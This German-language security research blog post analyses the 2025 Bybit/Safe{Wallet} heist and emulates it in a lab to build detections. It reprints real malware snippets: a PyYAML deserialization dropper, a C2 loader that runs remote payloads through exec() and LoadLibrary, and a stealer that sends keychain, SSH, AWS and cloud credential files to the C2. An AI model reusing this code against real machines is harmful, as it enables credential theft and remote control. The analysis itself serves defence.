Wichtigste Erkenntnisse
Die wichtigsten Erkenntnisse aus dieser Forschung:
- PyYAML war die Deserialisierung als Initialzugriffsvektor
- Der Angriff nutzte den Missbrauch von Sitzungstoken und AWS Lateral Movement aus
- Manipulation der Lieferkette an statischen Standorten
- Docker-basiertes Stealth unter macOS
- End-to-End-Erkennungskorrelation mit Elastic
Einführung
Am 21. Februar 2025wurde die Kryptowelt erschüttert, als etwa 400.000 ETH von ByBit verschwanden – einer der größten Kryptowährungsbörsen der Branche. Es wird angenommen, dass hinter diesem unglaublichen Diebstahl Nordkoreas Elite-Cyber-Offensiveinheit steckt, die als TraderTraitor bezeichnet wird. TraderTraitor nutzte eine vertrauenswürdige Lieferantenbeziehung mit Safe{Wallet}, einer Multisig-Wallet-Plattform (Multi-Signatur), und verwandelte eine Routinetransaktion in einen Milliarden-Dollar-Raub. Das Targeting in der Lieferkette ist zu einem Markenzeichen der Cyberstrategie der DVRK geworden und untermauert den Diebstahl von Kryptowährungen im Wert von mehr als 6 Milliarden US-Dollar durch das Regime seit 2017. In diesem Artikel werden wir diesen Angriff analysieren, seine Taktiken in einer kontrollierten Umgebung sorgfältig emulieren und praktische Lektionen zur Stärkung der Cybersicherheitsabwehr mit den Produkten und Funktionen von Elastic bereitstellen.
Unsere Emulation dieser Bedrohung basiert auf Forschungsergebnissen, die von Sygnia, Mandiant/SAFE, SlowMist und Unit42 veröffentlicht wurden.
Chronologie der Ereignisse
Wenn Sie hier sind, um die technischen Emulationsdetails zu erfahren, können Sie gerne weitermachen. Aber für den Kontext – und um zu verdeutlichen, was offiziell berichtet wurde – haben wir eine allgemeine Zeitleiste der Ereignisse zusammengestellt, um unsere Annahmen auf der Grundlage der oben genannten Forschungsergebnisse zu untermauern.
2Februar 2025 – Einrichtung der Infrastruktur
Der Angreifer registriert die Domain getstockprice[.]COM über Namecheap. Diese Infrastruktur wird später als C2-Endpunkt in der Nutzlast für den Erstzugriff verwendet.
4Februar 2025 – Erster Kompromiss
Die macOS-Workstation von Developer1 wird kompromittiert, nachdem eine bösartige Python-Anwendung ausgeführt wurde. Diese Anwendung enthielt Docker-bezogene Logik und verwies auf die Domäne des Angreifers. Der Dateipfad (~/Downloads/) und das Malware-Verhalten deuten auf Social Engineering hin (wahrscheinlich über Telegram oder Discord, im Einklang mit früheren REF7001 und UNC4899 Handel).
5. Februar 2025 – AWS Intrusion beginnt
Der Angreifer greift erfolgreich auf die AWS-Umgebung von Safe{Wallet} zu, indem er die aktiven AWS-Sitzungstoken von Developer1 verwendet. Der Angreifer versucht (erfolglos), sein eigenes virtuelles MFA-Gerät für den IAM-Benutzer von Developer1 zu registrieren, was auf einen Persistenzversuch hinweist.
5. bis 17. Februar: Die Aufklärungsaktivitäten beginnen in der AWS-Umgebung. Während dieser Zeit umfassten die Aktionen der Angreifer wahrscheinlich die Aufzählung von IAM-Rollen, S3-Buckets und anderen Cloud-Assets.
17. Februar 2025– AWS Command and Control-Aktivität
Bestätigter C2-Datenverkehr in AWS. Dies markiert den Übergang von der passiven Aufklärung zur aktiven Inszenierung des Angriffs.
19Februar 2025 – Manipulation von Webanwendungen
Ein Schnappschuss von app.safe.global (die statisch gehostete Next.js-Web-App von Safe{Wallet}), der von der Wayback Machine erfasst wurde, zeigt das Vorhandensein von bösartigem JavaScript. Die Nutzlast wurde so konzipiert, dass sie eine Bybit-Multisig-Transaktion erkennt und sie on-the-fly modifiziert, wodurch Gelder auf die Wallet des Angreifers umgeleitet werden.
21. Februar 2025 – Ausführung und Aufräumarbeiten
Die Exploit-Transaktion wird gegen Bybit über das kompromittierte Safe{Wallet}-Frontend ausgeführt.
Ein neuer Wayback Machine-Snapshot bestätigt, dass die JavaScript-Payload entfernt wurde, was darauf hindeutet, dass der Angreifer sie nach der Ausführung manuell bereinigt hat.
Die Bybit-Heist-Transaktion ist abgeschlossen. Ungefähr 400.000 ETH werden gestohlen. Nachfolgende Analysen von Sygnia und anderen bestätigen, dass die Bybit-Infrastruktur nicht direkt kompromittiert wurde – Safe{Wallet} war der einzige Fehlerpunkt.
Annahmen für die Emulation
- Anfänglicher Social-Engineering-Vektor: Social Engineering wurde eingesetzt, um Entwickler1 zu kompromittieren, was zur Ausführung eines bösartigen Python-Skripts führte. Die genauen Details der Social-Engineering-Taktik (z. B. spezifisches Messaging, Imitationstechniken oder die verwendete Kommunikationsplattform) sind nicht bekannt.
- Loader und Second-Stage-Payload: Das bösartige Python-Skript hat einen Second-Stage-Loader ausgeführt. Es ist derzeit unklar, ob dieser Loader und die nachfolgenden Payloads mit denen übereinstimmen, die in den Berichten von Unit42 detailliert beschrieben sind, obwohl die Eigenschaften der Python-Anwendung mit dem ersten Zugriff übereinstimmen.
- Sichere Anwendungsstruktur und Workflow: Bei der kompromittierten Anwendung (
app.global.safe) scheint es sich um eine Next.js Anwendung zu handeln, die statisch in AWS S3 gehostet wird. Spezifische Details wie die genauen Routen, Komponenten, Entwicklungsprozesse, Versionskontrollmethoden und der Workflow für die Produktionsbereitstellung sind jedoch nicht bekannt. - JavaScript-Payload-Bereitstellung: Während Angreifer bösartiges JavaScript in die Safe{Wallet}-Anwendung injizierten, ist unklar, ob dies die Neuerstellung und Neubereitstellung der gesamten Anwendung oder lediglich das Überschreiben/Ändern einer bestimmten JavaScript-Datei beinhaltete.
- Details zu AWS IAM und Identity Management: Details zu den IAM-Berechtigungen, Rollen und Richtlinienkonfigurationen von Developer1 innerhalb von AWS sind nicht bekannt. Darüber hinaus bleibt unklar, ob Safe{Wallet} AWS IAM Identity Center oder alternative Identitätsmanagementlösungen verwendet hat.
- Abrufen und Verwenden von AWS-Sitzungstoken: Während Berichte bestätigen, dass die Angreifer temporäre AWS-Sitzungstoken verwendet haben, sind Details darüber unbekannt, wie Developer1 diese Token ursprünglich abgerufen hat (z. B. über AWS SSO,
GetSessionTokenoder bestimmte MFA-Konfigurationen) und wie sie anschließend gespeichert oder verwendet wurden (z. B. Umgebungsvariablen, AWS-Konfigurationsdateien, benutzerdefinierte Skripte). - AWS-Aufzählungs- und Exploit-Techniken: Die genauen Tools, Aufzählungsmethoden, AWS-API-Aufrufe und spezifischen Aktionen, die von Angreifern in der AWS-Umgebung zwischen dem 5 . Februar und dem 17. Februar 2025ausgeführt wurden, werden nicht bekannt gegeben.
- AWS-Persistenzmechanismen: Obwohl es einen Hinweis auf eine potenzielle Persistenz innerhalb der AWS-Infrastruktur gibt (z. B. durch eine EC2-Instance-Kompromittierung), werden keine expliziten Details wie Tools, Taktiken oder Persistenzmethoden bereitgestellt.
Überblick über den Angriff
Das Ansprechen von Unternehmen innerhalb des Krypto-Ökosystems ist ein häufiges Ereignis. Die DVRK nimmt diese Unternehmen aufgrund der relativen Anonymität und des dezentralen Charakters der Kryptowährung ständig ins Visier, was es dem Regime ermöglicht, globale Finanzsanktionen zu umgehen. Nordkoreas offensive Cybergruppen zeichnen sich durch das Erkennen und Ausnutzen von Schwachstellen aus, was zu Verlusten in Milliardenhöhe führt.
Dieses Eindringen begann mit der gezielten Kompromittierung der MacOS-Workstation eines Entwicklers bei Safe{Wallet}, dem vertrauenswürdigen Anbieter von Multi-Signatur-Wallets von ByBit. Der erste Zugriff beinhaltete Social Engineering, wahrscheinlich wurde der Entwickler über Plattformen wie LinkedIn, Telegram oder Discord auf der Grundlage früherer Kampagnen angesprochen und ihn davon überzeugt, eine Archivdatei herunterzuladen, die eine Python-Anwendung zum Thema Krypto enthielt – ein von der DVRK bevorzugtes Verfahren für den Erstzugriff. Diese Python-Anwendung enthielt auch eine Docker-Version der Anwendung, die in einem privilegierten Container ausgeführt werden konnte. Dem Entwickler nicht bekannt, ermöglichte diese scheinbar harmlose Anwendung den Betreibern der DVRK, eine RCE-Schwachstelle (Remote Code Execution) in der PyYAML-Bibliothek auszunutzen, um Codeausführungsfunktionen und anschließend die Kontrolle über das Hostsystem bereitzustellen.
Nachdem sie sich den ersten Zugriff auf den Rechner des Entwicklers verschafft hatten, setzten die Angreifer den Poseidon-Agenten von MythicC2 ein, eine robuste Golang-basierte Nutzlast, die fortschrittliche Stealth- und umfangreiche Post-Exploitation-Funktionen für macOS-Umgebungen bietet. Die Angreifer haben dann möglicherweise eine Aufklärung durchgeführt und den Zugriff des Entwicklers auf die AWS-Umgebung von Safe{Wallet} und die Verwendung temporärer AWS-Benutzersitzungstoken entdeckt, die durch Multi-Faktor-Authentifizierung (MFA) gesichert sind. Bewaffnet mit der AWS-Zugriffsschlüssel-ID, dem geheimen Schlüssel und dem temporären Sitzungstoken des Entwicklers authentifizierten sich die Bedrohungsakteure dann innerhalb von etwa 24 Stunden in der AWS-Umgebung von Safe{Wallet} und nutzten die 12-stündige Gültigkeit der Sitzungstoken.
Bei dem Versuch, einen dauerhaften Zugriff auf die AWS-Umgebung zu gewährleisten, versuchten die Angreifer, ihr eigenes MFA-Gerät zu registrieren. Temporäre AWS-Sitzungstoken lassen jedoch keine IAM-API-Aufrufe ohne MFA-Authentifizierungskontext zu, was dazu führt, dass dieser Versuch fehlschlägt. Nach diesem kleinen Rückschlag zählte der Bedrohungsakteur die AWS-Umgebung auf und entdeckte schließlich einen S3-Bucket, der die statische Next.js Benutzeroberfläche von Safe{Wallet} hostete.
Die Angreifer hätten dann den gebündelten Code dieser Next.js Anwendung herunterladen können und fast zwei Wochen damit verbracht, ihre Funktionalität zu analysieren, bevor sie bösartiges JavaScript in die primäre JS-Datei einschleusten und die legitime Version überschrieben, die im S3-Bucket gehostet wurde. Der bösartige JavaScript-Code wurde ausschließlich bei Transaktionen aktiviert, die von der Cold-Wallet-Adresse von Bybit und einer von Angreifern kontrollierten Adresse initiiert wurden. Durch das Einfügen von hartcodierten Parametern umging das Skript die Überprüfung von Transaktionen und digitalen Signaturen und täuschte effektiv die Genehmiger von ByBit-Wallets, die der Safe{Wallet}-Schnittstelle implizit vertrauten.
Kurz darauf initiierte die DVRK eine betrügerische Transaktion, die das bösartige Skript auslöste, um die Transaktionsdetails zu ändern. Diese Manipulation trug wahrscheinlich dazu bei, die Unterzeichner der Wallet in die Irre zu führen, damit sie die illegale Überweisung genehmigten, wodurch die Agenten der DVRK die Kontrolle über etwa 400.000 ETH erhielten. Diese gestohlenen Gelder wurden dann in von Angreifern kontrollierte Wallets gewaschen.
Wir haben uns entschieden, unsere Forschung und Verhaltensemulation auf Kosten der Next.js Anwendung zu beenden. Daher tauchen wir nicht in die Blockchain-Technologien ein, wie z. B. ETH-Smart-Contracts, Vertragsadressen und Sweep-ETH-Anrufe, die in mehreren anderen Forschungspublikationen diskutiert werden.
Emulieren des Angriffs
Um diese Sicherheitsverletzung wirklich zu verstehen, haben wir uns entschieden, die gesamte Angriffskette in einer kontrollierten Laborumgebung zu emulieren. Als Sicherheitsforscher bei Elastic wollten wir in die Fußstapfen des Angreifers treten, um zu verstehen, wie sich dieser Vorgang in jeder Phase abgespielt hat: von der Codeausführung über das Hijacking von AWS-Sitzungen bis hin zur browserbasierten Transaktionsmanipulation.
Diese praktische Emulation diente einem doppelten Zweck. Erstens ermöglichte es uns, den Angriff auf einer granularen, technischen Ebene zu analysieren, um praktische Erkennungs- und Präventionsmöglichkeiten aufzudecken. Zweitens hatten wir die Möglichkeit, die Fähigkeiten von Elastic durchgängig zu testen – um zu sehen, ob unsere Plattform nicht nur jede Phase des Angriffs erkennen, sondern sie auch zu einer zusammenhängenden Erzählung korrelieren kann, auf die die Verteidiger reagieren können.
Kompromittierung von MacOS-Endpunkten
Dank der detaillierten Beschreibung von Unit42– und vor allem des Hochladens der wiederhergestellten Samples in VirusTotal – waren wir in der Lage, den Angriff durchgängig zu emulieren, indem wir die tatsächlichen Nutzlasten verwendeten, die in freier Wildbahn beobachtet wurden. Dazu gehörten:
- PyYAML-Deserialisierungsnutzlast
- Python-Loader-Skript
- Python-Stealer-Skript
Bösartige Python-Anwendung
Die Python-Anwendung mit erstem Zugriff, die wir in unserer Emulation verwendet haben, stimmt mit Beispielen überein, die von SlowMist hervorgehoben und geteilt wurden und durch die Erkenntnisse von Mandiant zur Reaktion auf Vorfälle aus der SAFE-Entwicklerkompromittierung bestätigt wurden. Diese Anwendung entsprach auch der Verzeichnisstruktur der Anwendung, die von Unit42 in ihrer Beschreibung gezeigt wurde. Angreifer haben ein legitimes Python-Projekt für den Aktienhandel von GitHub geforkt und es in einem Python-Skript mit dem Namen data_fetcher.pyhintertürmt.
Die Anwendung nutzt Streamlit , um app.pyauszuführen, wodurch das Skript data_fetcher.pyimportiert wird.
Das data_fetcher.py -Skript enthält bösartige Funktionen, die darauf ausgelegt sind, eine von Angreifern kontrollierte Domäne zu erreichen.
Das Skript ruft standardmäßig gültige börsenbezogene Daten ab. Basierend auf bestimmten Bedingungen kann der vom Angreifer kontrollierte Server jedoch stattdessen eine bösartige YAML-Nutzlast zurückgeben. Bei der Auswertung mit dem unsicheren Loader (yaml.load()) von PyYAML ermöglicht diese Nutzlast die Deserialisierung beliebiger Python-Objekte, was zu RCE führt.
PyYAML-Deserialisierungsnutzlast
(VT-Hash: 47e997b85ed3f51d2b1d37a6a61ae72185d9ceaf519e2fdb53bf7e761b7bc08f)
Wir haben dieses bösartige Setup nachgestellt, indem wir die YAML-Deserialisierungsnutzlast in einer Python+Flask-Webanwendung gehostet haben, wobei PythonAnywhere verwendet wurde, um die Infrastruktur des Angreifers nachzuahmen. Wir haben die bösartige URL im data_fetcher.py -Skript aktualisiert, sodass sie auf unsere von PythonAnywhere gehostete YAML-Nutzlast verweist.
Wenn PyYAML die bösartige YAML-Nutzlast lädt und ausführt, führt es die folgenden Aktionen aus:
Zunächst wird ein Verzeichnis mit dem Namen Public im Home-Verzeichnis des Opfers erstellt.
directory = os.path.expanduser("~")
directory = os.path.join(directory, "Public")
if not os.path.exists(directory):
os.makedirs(directory)
Als Nächstes dekodiert und schreibt es ein base64-codiertes Python-Loader-Skript in eine neue Datei mit dem Namen __init__.py im Public Verzeichnis.
filePath = os.path.join(directory, "__init__.py")
with open(filePath, "wb") as f:
f.write(base64.b64decode(b"BASE64_ENCODED_LOADER_SCRIPT"))
Schließlich führt es das neu erstellte __init__.py -Skript im Hintergrund aus und leitet so die zweite Phase des Angriffs ein.
subprocess.Popen([sys.executable, filePath], start_new_session=True, stdout=DEVNULL, stderr=DEVNULL)
Python-Loader-Skript
(VT-Hash: 937c533bddb8bbcd908b62f2bf48e5bc11160505df20fea91d9600d999eafa79)
Um forensische Beweise zu vermeiden, löscht der Loader zuerst seine Datei (__init__.py) nach der Ausführung und lässt sie nur im Speicher laufen.
directory = os.path.join(home_directory, "Public")
if not os.path.exists(directory):
os.makedirs(directory)
try:
body_path = os.path.join(directory, "__init__.py")
os.remove(body_path)
Das Hauptziel dieses Loaders besteht darin, eine kontinuierliche Kommunikation mit dem Command-and-Control-Server (C2) herzustellen. Es sammelt grundlegende Systeminformationen wie Betriebssystemtyp, Architektur und Systemversion und sendet diese Details über eine HTTP POST-Anforderung an den hartcodierten URL-Endpunkt /club/fb/status an den C2.
params = {
"system": platform.system(),
"machine": platform.machine(),
"version": platform.version()
}
while True:
try:
response = requests.post(url, verify=False, data = params, timeout=180)
Basierend auf der Antwort des Servers (ret-Wert) entscheidet der Loader über seine nächsten Schritte.
ret == 0:
Das Skript befindet sich 20 Sekunden lang im Ruhezustand und setzt den Abruf fort.
if res['ret'] == 0:
time.sleep(20)
continue
ret == 1:
Die Serverantwort enthält eine Nutzlast in Base64. Das Skript decodiert diese Nutzlast und schreibt sie in eine Datei mit dem Namen init.dll unter Windows oder init andernfalls – und lädt dann die Bibliothek dynamisch mit ctypes.cdll.LoadLibrary, wodurch die Nutzlast als systemeigene Binärdatei ausgeführt wird.
elif res['ret'] == 1:
if platform.system() == "Windows":
body_path = os.path.join(directory, "init.dll")
else:
body_path = os.path.join(directory, "init")
with open(body_path, "wb") as f:
binData = base64.b64decode(res["content"])
f.write(binData)
os.environ["X_DATABASE_NAME"] = ""
ctypes.cdll.LoadLibrary(body_path)
ret == 2:
Das Skript decodiert den Base64-Inhalt in Python-Quellcode und führt ihn dann mit der exec() Funktion von Python aus. Dies ermöglicht das Ausführen von beliebigem Python-Code.
elif res['ret'] == 2:
srcData = base64.b64decode(res["content"])
exec(srcData)
ret == 3:
Das Skript decodiert eine binäre Nutzlast (dockerd) und eine binäre Konfigurationsdatei (docker-init) in zwei separate Dateien, legt ihre Berechtigungen als ausführbar fest und versucht dann, sie als neuen Prozess auszuführen, wobei die Konfigurationsdatei als Argument für die binäre Nutzlast bereitgestellt wird. Nach der Ausführung der binären Nutzlast wird die ausführbare Datei gelöscht, wobei die Konfigurationsdatei als Referenz auf der Festplatte verbleibt.
elif res['ret'] == 3:
path1 = os.path.join(directory, "dockerd")
with open(path1, "wb") as f:
binData = base64.b64decode(res["content"])
f.write(binData)
path2 = os.path.join(directory, "docker-init")
with open(path2, "wb") as f:
binData = base64.b64decode(res["param"])
f.write(binData)
os.chmod(path1, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR |
stat.S_IRGRP | stat.S_IXGRP |
stat.S_IROTH | stat.S_IXOTH)
os.chmod(path2, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR |
stat.S_IRGRP | stat.S_IXGRP |
stat.S_IROTH | stat.S_IXOTH)
try:
process = subprocess.Popen([path1, path2], start_new_session=True)
process.communicate()
return_code = process.returncode
requests.post(SERVER_URL + '/club/fb/result', verify=False, data={"result": str(return_code)})
except:
pass
os.remove(path1)
ret == 9:
Das Skript bricht aus seiner Polling-Schleife aus und beendet weitere Aktionen.
elif res['ret'] == 9:
break
Nach der Verarbeitung eines Befehls fragt das Skript weiterhin nach weiteren Anweisungen vom C2-Server.
Python Loader-Emulation
Unser Ziel war es, jede der Befehlsoptionen innerhalb des Ladeprogramms zu testen, um besser zu verstehen, was passiert, relevante Telemetriedaten zu sammeln und zu analysieren, um robuste Erkennungen sowohl für unseren Endpunkt als auch für das SIEM zu erstellen.
ret == 1: Bibliothek auf Festplatte schreiben, Dylib laden und löschen
Die Nutzlast, die wir für diese Option verwendet haben, war eine Poseidon-Nutzlast , die als gemeinsam genutzte Bibliothek (.dylibkompiliert wurde.
Anschließend haben wir die Binärdatei base64-codiert und waren in der Lage, den Pfad zu dieser base64-codierten Nutzlast in unserem C2-Server fest zu codieren, um beim Testen dieses speziellen Ladebefehls bereitgestellt zu werden.
base64 poseidon.dylib > poseidon.b64
BINARY_PAYLOAD_B64 = "BASE64_ENCODED_DYLIB_PAYLOAD" # For ret==1
STEALER_PAYLOAD_B64 = "BASE64_ENCODED_STEALER_SCRIPT" # For ret==2
MULTI_STAGE_PAYLOAD_B64 = "BASE64_ENCODED_MULTISTAGE_PAYLOAD" # For ret==3
# For testing we simulate a command to send.
# Options: 0, 1, 2, 3, 9.
# 0: Idle (sleep); 1: Execute native binary; 2: Execute Python code; 3: Execute multi-stage payload; 9: Terminate.
COMMAND_TO_SEND = 1 # Change this value to test different actions
Nachdem wir unseren Poseidon-Nutzlast-Callback an unseren Mythic C2 erhalten hatten, konnten wir die Anmeldeinformationen mit einer Vielzahl verschiedener Methoden abrufen, die von Poseidon bereitgestellt wurden.
Option 1: Download-Befehl - Zugriff auf die Datei, Lesen des Inhalts, Zurücksenden der Daten an C2.
Option 2: getenv-Befehl - Benutzerumgebungsvariablen lesen und Inhalt an C2 zurücksenden.
Option 3: Befehle jsimport & jsimport_call - Importieren Sie das JXA-Skript in den Speicher und rufen Sie dann eine Methode innerhalb des JXA-Skripts auf, um Anmeldeinformationen aus der Datei abzurufen und den Inhalt zurückzugeben.
Ret == 2: Empfangen und Ausführen von beliebigem Python-Code im Prozessspeicher
(VT-Hash: e89bf606fbed8f68127934758726bbb5e68e751427f3bcad3ddf883cb2b50fc7)
Das Loader-Skript ermöglicht das Ausführen von beliebigem Python-Code oder -Skripten im Speicher. Im Blog von Unit42 stellten sie ein Python-Skript zur Verfügung, in dem sie beobachteten, wie die DVRK über diesen Rückgabewert ausgeführt wurde. Dieses Skript sammelt eine große Menge an Daten. Diese Daten werden XOR-codiert und über eine POST-Anforderung an den C2-Server zurückgesendet. Für die Emulation war es nur erforderlich, unsere C2-URL mit der entsprechenden Route hinzuzufügen, wie sie in unserem C2-Server definiert ist, und das Skript mit base64 zu codieren und seinen Pfad innerhalb unseres Servers fest zu codieren, wenn diese Option getestet wurde.
def get_info():
global id
id = base64.b64encode(os.urandom(16)).decode('utf-8')
# get xor key
while True:
if not get_key():
break
base_info()
send_directory('home/all', '', home_dir)
send_file('keychain', os.path.join(home_dir, 'Library', 'Keychains', 'login.keychain-db'))
send_directory('home/ssh', 'ssh', os.path.join(home_dir, '.ssh'), True)
send_directory('home/aws', 'aws', os.path.join(home_dir, '.aws'), True)
send_directory('home/kube', 'kube', os.path.join(home_dir, '.kube'), True)
send_directory('home/gcloud', 'gcloud', os.path.join(home_dir, '.config', 'gcloud'), True)
finalize()
break
ret == 3: Binäre Nutzlast und Binärkonfiguration auf die Festplatte schreiben, Nutzlast ausführen und Datei löschen
Für ret == 3 haben wir eine standardmäßige Poseidon-Binärnutzlast und eine "Konfigurationsdatei" mit Binärdaten verwendet, wie im Loader-Skript angegeben. Wir haben dann sowohl die Binär- als auch die Konfigurationsdatei wie die Option ret == 1 oben base64 codiert und ihre Pfade in unserem C2-Server hartcodiert, um beim Testen dieses Befehls bereitgestellt zu werden. Genau wie bei der Option ret == 1 oben konnten wir dieselben Befehle verwenden, um Anmeldeinformationen vom Zielsystem zu sammeln.
C2-Infrastruktur
Wir haben einen sehr einfachen und kleinen C2-Server erstellt, der mit Python+Flask erstellt wurde und mit einem bestimmten Port auf unserer Kali Linux-VM lauschen und eingehende Anfragen auswerten soll, wobei er basierend auf der Route und dem Rückgabewert, den wir testen wollten, angemessen reagiert.
Wir haben auch das Open-Source-Programm Mythic C2 verwendet, um die Erstellung und Verwaltung der von uns verwendeten Poseidon-Nutzlasten zu erleichtern. Mythic ist ein Open-Source-C2-Framework, das von Cody Thomas bei SpecterOps entwickelt und gepflegt wird.
Bösartige Python-Anwendung: Docker-Version
Wir haben auch eine Docker-Variante der bösartigen Python-Anwendung untersucht. Diese Version wurde in einem minimalen Python-Docker-Container (python:3.12.2-slim) verpackt, der im privilegierten Modus ausgeführt wird, wodurch er auf Hostressourcen zugreifen kann.
Eine containerisierte Anwendung schafft einen blinden Fleck in den Bereichen Telemetrie und Erkennung unter macOS, da Apples Endpoint Security Framework (ESF) nicht in der Lage ist, containerisierte Prozesse zu überprüfen. ESF- und Endpunkterkennungslösungen können zwar weiterhin beobachten, wie der vertrauenswürdige Docker-Prozess auf vertrauliche Hostdateien wie SSH-Schlüssel, AWS-Anmeldeinformationen oder Benutzerkonfigurationsdaten zugreift, aber diese Aktionen richten sich in der Regel nach den Standard-Entwickler-Workflows. Infolgedessen ist es weniger wahrscheinlich, dass Sicherheitstools containerisierte Aktivitäten unter die Lupe nehmen oder Warnungen auslösen, was Angreifern eine erhöhte Tarnung bietet, wenn sie innerhalb von Docker-Umgebungen operieren.
Dies unterstreicht die Notwendigkeit einer zusätzlichen Überwachung wie der Sammlung von OSQuery - und Docker-Protokolldateien, um die standardmäßige macOS-Endpunktabwehr zu ergänzen. Elastic bietet neben unseren Endpoint-Schutzfunktionen sowohl OSQuery - als auch Docker-Protokolldateierfassung über unsere Datenintegrationen für Elastic Agent an.
Fazit zur MacOS-Emulation
Unsere Emulation hat den Angriff auf das macOS-System der SAFE-Entwickler Ende-zu-Ende mit den realen Payloads nachgestellt.
Bösartige Python-App:
Wir begannen mit der Replikation der bösartigen Python-Anwendung, die sowohl in den Ergebnissen von Mandiant als auch im Bericht von Unit42 beschrieben wurde. Die Angreifer hatten eine legitime Open-Source-Anwendung geforkt und den RCE-Zugang in data_fetcher.pyeingebettet. Dieses Skript stellte ausgehende Anfragen an einen vom Angreifer kontrollierten Server und holte bedingt eine bösartige YAML-Datei. Unter Verwendung der yaml.load() von PyYAML mit einem unsicheren Loader löste der Angreifer die Ausführung beliebigen Codes durch Deserialisierung aus.
Deserialisierung der PyYAML-Nutzlast, die zur Ausführung des Python-Loader-Skripts führt:
Die YAML-Nutzlast schrieb einen base64-codierten Loader der zweiten Stufe, um ihn zu ~/Public/__init__.py , und führte ihn in einem getrennten Prozess aus. Wir haben diesen exakten Ablauf mit einem Flask-basierten Staging-Server nachgeahmt, der auf PythonAnywhere gehostet wird.
Ausführung des Python Loaders und C2-Interaktion:
Nach dem Start löschte der Loader seine Datei auf der Festplatte und beacolog zu unserem emulierten C2, wo er auf die Aufgabe wartete. Basierend auf dem Antwortcode (ret) des C2 haben wir die folgenden Aktionen getestet:
- ret == 1: Der Loader hat eine Poseidon-Payload (als
.dylibkompiliert) dekodiert und mitctypes.cdll.LoadLibrary()ausgeführt, was zu einer nativen Codeausführung von der Festplatte führt. - ret == 2: Der Loader hat einen In-Memory-Python-Stealer ausgeführt, der mit dem von Unit42 freigegebenen Skript übereinstimmt. Dieses Skript sammelte System-, Benutzer-, Browser- und Anmeldedaten und exfiltrierte sie über XOR-codierte POST-Anforderungen.
- ret == 3: Der Loader hat eine Poseidon-Binärdatei und eine separate binäre Konfigurationsdatei auf die Festplatte geschrieben, die Binärdatei mit der config als Argument ausgeführt und dann die Payload gelöscht.
- ret == 9: Der Loader hat seine Polling-Schleife beendet.
Datenerfassung: Pre-Pivot Recon und Zugriff auf Anmeldeinformationen:
Während unseres ret == 2 Tests hat der Python-Stealer Folgendes festgestellt:
- macOS-Systeminformationen (
platform,os,user) - Chrome-Nutzerdaten (Lesezeichen, Cookies, Login-Daten, etc.)
- Private SSH-Schlüssel (
~/.ssh) - AWS-Anmeldeinformationen (
~/.aws/credentials) - macOS-Schlüsselbund-Dateien (
login.keychain-db) - GCP/Kube-Konfigurationsdateien von
.config/
Dies emuliert die Datenerfassung vor dem Pivot, die der Cloud-Nutzung vorausging, und spiegelt wider, wie nordkoreanische Akteure AWS-Anmeldeinformationen aus der lokalen Umgebung des Entwicklers gesammelt haben.
Mit gültigen AWS-Anmeldeinformationen schwenkten die Bedrohungsakteure dann in die Cloud-Umgebung ein und starteten die zweite Phase dieses Eindringens.
Kompromittierung der AWS-Cloud
Voraussetzungen und Einrichtung
Um die AWS-Phase dieses Angriffs zu emulieren, nutzten wir zunächst Terraform, um die erforderliche Infrastruktur aufzubauen. Dazu gehörte das Erstellen eines IAM-Benutzers (Entwicklers) mit einer übermäßig freizügigen IAM-Richtlinie, die Zugriff auf S3-, IAM- und STS-APIs gewährt. Dann haben wir eine lokal erstellte Next.js-Anwendung auf einen S3-Bucket verschoben und bestätigt, dass die Website live ist, indem wir ein einfaches Safe{Wallet}-Frontend simulieren.
Unsere Wahl des Next.js basierte auf dem ursprünglichen statischen Site-Pfad des S3-Buckets - https://app[.]safe[.]global/_next/static/chunks/pages/_app-52c9031bfa03da47.js
Bevor wir bösartigen Code einschleusten, überprüften wir die Integrität der Website, indem wir eine Testtransaktion mit einer bekannten Ziel-Wallet-Adresse durchführten, um sicherzustellen, dass die Anwendung wie erwartet reagierte.
Abrufen von temporären Sitzungstoken
Nach dem ersten Zugriff und den Aktivitäten nach der Kompromittierung auf der macOS-Workstation des Entwicklers konzentrierten sich die ersten Annahmen darauf, dass der Angreifer Anmeldeinformationen von standardmäßigen AWS-Konfigurationsspeicherorten abrufen würde, z. B. von ~/.aws oder von Benutzerumgebungsvariablen. Später wurde im Blog von Unit42 bestätigt, dass das Python-Stealer-Skript auf AWS-Dateien abzielte. An diesen Speicherorten werden häufig langfristige IAM-Anmeldeinformationen oder temporäre Sitzungstoken gespeichert, die in Standard-Entwicklungsworkflows verwendet werden. Basierend auf öffentlichen Berichten betraf diese spezielle Kompromittierung jedoch AWS-Benutzersitzungstoken und keine langfristigen IAM-Anmeldeinformationen. In unserer Emulation haben wir als Entwickler unser virtuelles MFA-Gerät zu unserem IAM-Benutzer hinzugefügt, es aktiviert und dann unser Benutzersitzungstoken abgerufen und die Anmeldeinformationen in unsere Umgebung exportiert. Beachten Sie, dass wir auf unserem Kali Linux-Endpunkt ExpressVPN - wie von den Angreifern getan - für alle AWS-API-Aufrufe oder Interaktionen mit der Entwicklerbox genutzt haben.
Es wird vermutet, dass der Entwickler temporäre AWS-Anmeldeinformationen entweder durch die GetSessionToken-API-Operation oder durch Anmeldung über AWS Single Sign-On (SSO) mit der AWS CLI erhalten hat. Beide Methoden führen dazu, dass kurzlebige Anmeldeinformationen lokal zwischengespeichert und für CLI- oder SDK-basierte Interaktionen verwendet werden können. Diese temporären Anmeldeinformationen wurden dann wahrscheinlich in den ~/.aws -Dateien zwischengespeichert oder als Umgebungsvariablen auf das macOS-System exportiert.
Im GetSessionToken-Szenario hätte der Entwickler einen Befehl wie folgt ausgeführt:
aws sts get-session-token --serial-number "$ARN" --token-code "$FINAL_CODE" --duration-seconds 43200 --profile "$AWS_PROFILE" --output json
Im SSO-basierten Authentifizierungsszenario hat der Entwickler möglicherweise Folgendes ausgeführt:
aws configure sso
aws sso login -profile "$AWS_PROFILE" -use-device-code "OTP"`
Beide Methoden führen dazu, dass temporäre Anmeldeinformationen (Zugriffsschlüssel, Geheimnis und Sitzungstoken) in ~/.aws Dateien gespeichert und dem konfigurierten AWS-Profil zur Verfügung gestellt werden. Diese Anmeldeinformationen werden dann automatisch von Tools wie der AWS CLI oder SDKs wie Boto3 verwendet, sofern sie nicht überschrieben werden. In beiden Fällen hätten diese Anmeldeinformationen, wenn Malware oder ein Angreifer Zugriff auf das macOS-System des Entwicklers gehabt hätte, leicht aus den Umgebungsvariablen, dem AWS-Konfigurationscache oder der Anmeldeinformationsdatei entnommen werden können.
